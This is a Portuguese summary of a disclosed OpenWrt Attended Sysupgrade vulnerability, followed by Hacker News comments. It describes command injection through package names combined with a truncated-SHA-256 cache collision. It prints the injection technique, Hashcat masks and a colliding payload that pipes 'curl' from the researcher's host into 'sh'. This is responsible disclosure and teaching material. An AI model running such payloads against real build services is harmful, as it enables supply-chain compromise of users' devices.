- O recurso de atualização via web do OpenWrt, Attended Sysupgrade, tinha uma arquitetura em que o firmware era gerado em um servidor de build online, e a combinação de injeção de comandos com colisão de SHA-256 truncado podia fazer com que artefatos de build incorretos fossem retornados a uma solicitação legítima
- Como o valor de
packagesda solicitação era passado para a variávelPACKAGES=demake manifest, devido ao comportamento de expansão de variáveis domake, um invasor podia executar comandos arbitrários dentro do contêiner do imagebuilder - O hash da lista de pacotes não usava o SHA-256 completo, mas apenas os 12 primeiros caracteres, ou seja, 48 bits, como parte da chave de cache, permitindo que listas de pacotes diferentes gerassem o mesmo hash de solicitação
- O pesquisador obteve uma velocidade de cerca de 18 bilhões de hashes por segundo com um Hashcat modificado e uma RTX 4090, e conseguiu validar a sobrescrita dos artefatos
.bindo imagebuilder usando um payload de injeção de comandos com colisão - Após a denúncia privada da vulnerabilidade, a equipe do OpenWrt suspendeu temporariamente o
sysupgrade.openwrt.orge publicou uma versão corrigida em menos de 3 horas, mas não foi possível confirmar se já havia exploração anterior
Estrutura de build online de firmware do Attended Sysupgrade
- A interface web LuCI do OpenWrt inclui o
Attended Sysupgrade, um recurso que usa um serviço online para compilar novo firmware - O serviço de build roda em
sysupgrade.openwrt.orge, quando o usuário seleciona o dispositivo-alvo e os pacotes desejados, gera uma nova imagem de firmware - Ao solicitar a atualização, o OpenWrt do lado do usuário envia as seguintes informações ao servidor
- Arquitetura-alvo
- Perfil do dispositivo
- Pacotes selecionados
- Com base nessas informações, o servidor compila a imagem de firmware, a devolve ao dispositivo OpenWrt, e o dispositivo grava a imagem recebida na flash
- Se o servidor que compila imagens com pacotes fornecidos pelo usuário não estiver suficientemente isolado, isso se torna uma superfície de ataque à cadeia de suprimentos, pois o resultado do build é aplicado diretamente ao dispositivo
Injeção de comandos por meio do valor de PACKAGES
- O servidor
sysupgrade.openwrt.orgé um projeto open source, e o código-fonte está em openwrt/asu - O ambiente de build é executado em um contêiner criado com
podman.containers.createe usa configurações comocap_drop=["all"],no_new_privileges=Trueeprivileged=False - A vulnerabilidade ocorria no ponto de chamada de
make manifestPROFILE={build_request.profile}PACKAGES={' '.join(build_cmd_packages)}STRIP_ABI=1
- O target
manifestdo imagebuilder do OpenWrt repassa o valor dePACKAGESna formaUSER_PACKAGES="$(PACKAGES)" - Como o
makeexpande variáveis antes da execução de comandos, valores controlados pelo usuário não eram tratados com segurança mesmo quando cercados por aspas simples- Em um Makefile de exemplo, ao executar
make var="'; whoami #",whoamié executado mesmo dentro deecho '$(var)'
- Em um Makefile de exemplo, ao executar
- Como o parâmetro
packagesda solicitação entrava na variávelPACKAGES, um invasor podia inserir comandos em valores que pareciam nomes de pacotes e executar comandos arbitrários dentro do contêiner do imagebuilder - Mesmo que o contêiner estivesse isolado do host, como o binário gerado era assinado com uma chave privada em uma etapa posterior, essa injeção de comandos levava a uma vulnerabilidade de cadeia de suprimentos
Chave de cache SHA-256 truncada para 12 caracteres
get_request_hashconcatena vários campos da solicitação de build para criar um hash da solicitação, e esse hash é usado como chave do cache de build- A lista de pacotes não entra diretamente como string; em vez disso, o resultado de
get_packages_hash(build_request.packages)é incluído no hash externo da solicitação get_packages_hashremove pacotes duplicados, ordena a lista e calcula o SHA-256 da string unida por espaços, mas retorna o resultado truncado para os 12 primeiros caracteres- O prefixo de 12 caracteres do SHA-256 tem 48 bits, e o espaço possível é de
2^48 = 281,474,976,710,656valores - Como o hash externo da solicitação inclui esse hash de pacotes truncado, ao criar uma colisão no hash dos pacotes, listas de pacotes diferentes passam a compartilhar a mesma chave de cache
- Como resultado, o servidor podia retornar artefatos de build incorretos para outras solicitações de pacotes
Encontrando um payload com colisão usando Hashcat
- Como não encontrou uma ferramenta de força bruta para correspondência parcial de SHA-256, o pesquisador criou seu próprio programa em OpenCL, mas calcular 100 milhões de hashes levava 10 segundos, uma velocidade semelhante à de hash em CPU
- Depois, modificou o Hashcat para imprimir hashes quando apenas 8 caracteres coincidissem, e usou um pequeno script para verificar se havia colisão de 12 caracteres
- A lista de pacotes legítima foi obtida em
firmware-selector.openwrt.org, e seu SHA-256 era8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb- Os 12 primeiros caracteres eram
8f7018b33d94 - O payload de ataque também precisava ter o mesmo prefixo de 12 caracteres
- Os 12 primeiros caracteres eram
- Inicialmente, foi executada em uma RTX 4090 uma máscara no formato
`curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh`, chegando a cerca de 500 milhões de hashes por segundo - Como
?lgeraa-z, o espaço de 10 caracteres é de26^10 = 141,167,095,653,376, cerca de metade de2^48 - Ao aumentar a máscara para 11 caracteres e mover a posição da máscara para o início do comando, a velocidade aumentou bastante
- O padrão final foi
`?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh` - Com esse padrão, o Hashcat calculou cerca de 18 bilhões de hashes por segundo
- O padrão final foi
- Em menos de 1 hora, foi encontrada a seguinte colisão de 12 caracteres
`slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`- O SHA-256 dessa string é
8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8, cujos 12 primeiros caracteres são iguais aos da lista de pacotes legítima
Retorno de firmware incorreto pela combinação das duas vulnerabilidades
- Ao enviar o payload com colisão no parâmetro
packages, ocorria a injeção de comandos, e um script era executado a partir detmp.ryotak.net - O script de validação acrescentava código a
/builder/scripts/json_overview_image_info.pypara sobrescrever os artefatos criados pelo imagebuilder- Lia a lista de arquivos em
BIN_DIR - Procurava um arquivo cujo nome terminasse em
.bine escrevia"test"em seu conteúdo
- Lia a lista de arquivos em
- Devido à colisão de hash, o servidor retornava o artefato de build sobrescrito ao usuário que havia solicitado a lista de pacotes legítima
- Se esse método fosse explorado, o usuário atualizaria para um firmware malicioso, o que poderia levar ao comprometimento do dispositivo
Denúncia e correção
- A vulnerabilidade foi informada à equipe do OpenWrt por meio de uma denúncia privada de vulnerabilidade no GitHub
- Após confirmar o problema, a equipe do OpenWrt suspendeu temporariamente o serviço
sysupgrade.openwrt.orge iniciou uma investigação - A versão corrigida foi publicada em menos de 3 horas, e o serviço também foi reiniciado
- Os dois problemas foram corrigidos, mas como a vulnerabilidade existiu por algum tempo, não foi possível saber se outra pessoa já a havia explorado
- A equipe do OpenWrt publicou um aviso para que os usuários pudessem verificar e detectar possível comprometimento de seus dispositivos
Conclusão
- O
sysupgrade.openwrt.orgpodia ser comprometido pela combinação de injeção de comandos e colisão de SHA-256 truncado - Trata-se de um caso em que um ataque de colisão de hash foi bem-sucedido por força bruta em uma aplicação real, criando um caminho de ataque à cadeia de suprimentos
- A equipe do OpenWrt corrigiu o problema e notificou os usuários em pouco tempo, mas serviços de build online precisam tratar chaves de cache e validação de entradas de forma muito conservadora
1 comentários
Comentários no Hacker News
A vulnerabilidade que faltou no artigo é que passa a ser normalizado executar código direcionado a usuários específicos ou dispositivos específicos
Não há verificação de reprodutibilidade, e ninguém tem como confirmar que esse serviço de builds e downloads personalizados não produziu um build com backdoor
É preciso garantir o uso de builds como o do xz-utils usado por Andres Freund, ou builds que pesquisadores de segurança possam obter depois para verificar se há implantes de cadeia de suprimentos em software open source[1]
Houve um texto antigo explicando a tentativa da Mozilla, depois interrompida, de registrar publicamente os builds de release em uma árvore de Merkle[2]. O Google organizou a implementação dos builds de firmware do Pixel, mas os apps distribuídos pela Google Play Store parecem vulneráveis (a menos que exista algum outro log que eu não tenha encontrado)[3]. A Apple, ao mirar builds por dispositivo individual na distribuição de firmware e apps, sem transparência de build, parece ainda pior que o Google em termos de transparência binária
Um bom exemplo é o repositório de ebuilds do Gentoo. Ele contém checksums de código-fonte em um único repositório Git/árvore de Merkle, então pode continuar sendo uma das maiores e mais amplamente distribuídas árvores de Merkle entre softwares open source
[1] Depois do backdoor do xz-utils, alguns pesquisadores fizeram varreduras automáticas/semiautomáticas para procurar, em builds de software open source, arquivos inexplicáveis de alta entropia que pudessem conter código malicioso oculto. Em builds personalizados por usuário ou por dispositivo, isso é impossível, a menos que todos os builds sejam tornados públicos para análise posterior e venham acompanhados de um log público (árvore de Merkle) desses builds publicados
[2] https://wiki.mozilla.org/Security/Binary_Transparency
[3] https://developers.google.com/android/binary_transparency/ov...
Muitos elementos que entram no pipeline de build são inerentemente não determinísticos, porque decisões no momento da compilação podem variar de uma execução para outra. Mesmo deixando de lado problemas de flags, é assim; na prática, o objetivo de um compilador otimizador chega perto disso. Como muitos projetos de builds reprodutíveis descobriram, quando se ativa a otimização, a reprodutibilidade basicamente deixa de ser garantida
Até onde sei, não há um log centralizado, e fica a cargo do desenvolvedor do app publicar por conta própria sua chave ou o log dos arquivos de transparência
"".jointambém não é perigoso?Se for algo como
get_str_hash("".join([build_request.distro, build_request.version, build_request.version_code, build_request.target, ..., mover caracteres entre campos adjacentes pode manter o mesmo hashMesmo sem conseguir tomar o controle direto do sistema, daria para causar contaminação de cache com uma imagem quebrada ou induzir um downgrade
Correção: o certo seria dizer hashing incremental, não HMAC
É por isso que open source nunca pode competir com software proprietário corporativo:
porque corrigiu em 3 horas em vez de fazer as pessoas esperarem 6 meses por um patch, não tentou processar quem reportou o problema e não ofereceu apenas um pequeno desconto para você jogar fora um dispositivo “antigo”, mas perfeitamente funcional, e comprar um novo
Espero que planejem corrigir a injeção de comandos também. Como o texto diz, as imagens geradas são assinadas. Mesmo sem assinatura, ainda é um problema de execução de código a partir de entrada de usuário não confiável. E vulnerabilidades podem se encadear, como neste caso de colisão de hash
Posso pedir substituição, mas será pelo mesmo modelo. O ISP não se importa nem um pouco com segurança e não aplica patches. Isso é completamente absurdo, ainda mais tendo acesso exclusivo ao roteador e até login remoto
Na maioria dos projetos open source, os mantenedores estão sobrecarregados demais ou simplesmente não querem corrigir problemas de segurança
Primeiro, este é um caso em que a ferramenta era open source, embora não tivesse sido feita originalmente para esse uso, e foi escrita sem BuilderFactoryProvider, então pôde ser ajustada ao trabalho em pouco tempo
Desculpem repetir algo que já foi dito, mas isso me incomoda muito todos os dias
Se fosse uma grande empresa, provavelmente levaria -1 ano para corrigir. Porque ela simplesmente processaria a pessoa e tentaria prendê-la o mais rápido possível, e jamais lançaria um patch
O OpenWrt, depois de receber as informações, derrubou o serviço inseguro; os usuários já estavam em segurança graças ao shutdown enquanto o relatório era verificado; depois fizeram o patch e o distribuíram em 3 horas. Impressionante
Fico curioso para saber como as pessoas chegam à ideia de truncar hashes. Qual é o objetivo ou o benefício?
Não acho que seja uma boa prática, mas, na prática, as pessoas fazem concessões.
Segundo a resposta de @Reid em [2] e a resposta de @ThomasPornin em [3], a ideia de truncar hashes é totalmente apoiada até pelo NIST. Na prática, SHA-224 é um SHA-256 truncado, e SHA-384 é um SHA-512 truncado.
https://security.stackexchange.com/a/97389
O texto foi bom. Fiquei um pouco surpreso que tenha sido necessária aquela quantidade de computação em GPU para encontrar uma colisão tão curta, mas foi bom ver a implementação.
Sobre a última seção: 40 mil dólares por mês de análise de segurança é um preço razoável? Se for, então um bom pesquisador de segurança ganha algo em torno de 500 mil dólares por ano?
nmap/metasploite empacotavam tudo em um PDF convincente.2^(12*4)significa que há 281.474.976.710.656 strings possíveis de 12 caracteres, então conseguir varrer tudo isso em uma hora é realmente impressionante.O que quer dizer que o desempenho do
hashcatvaria em várias ordens de grandeza dependendo da ordem dos argumentos? Ele escaneia o padrão-alvo na linha de argumentos a cada execução?Ou talvez seja uma estrutura em que, como ao contar números,
100000000000010000000000110000000000001000000000a maior parte da variação acontece à esquerda, e as mudanças à direita aparecem raramente. Seria interessante alguém que conheça o hashcat responder. Eu só estou chutando.
O processo de ataque foi muito bem escrito e fácil de acompanhar.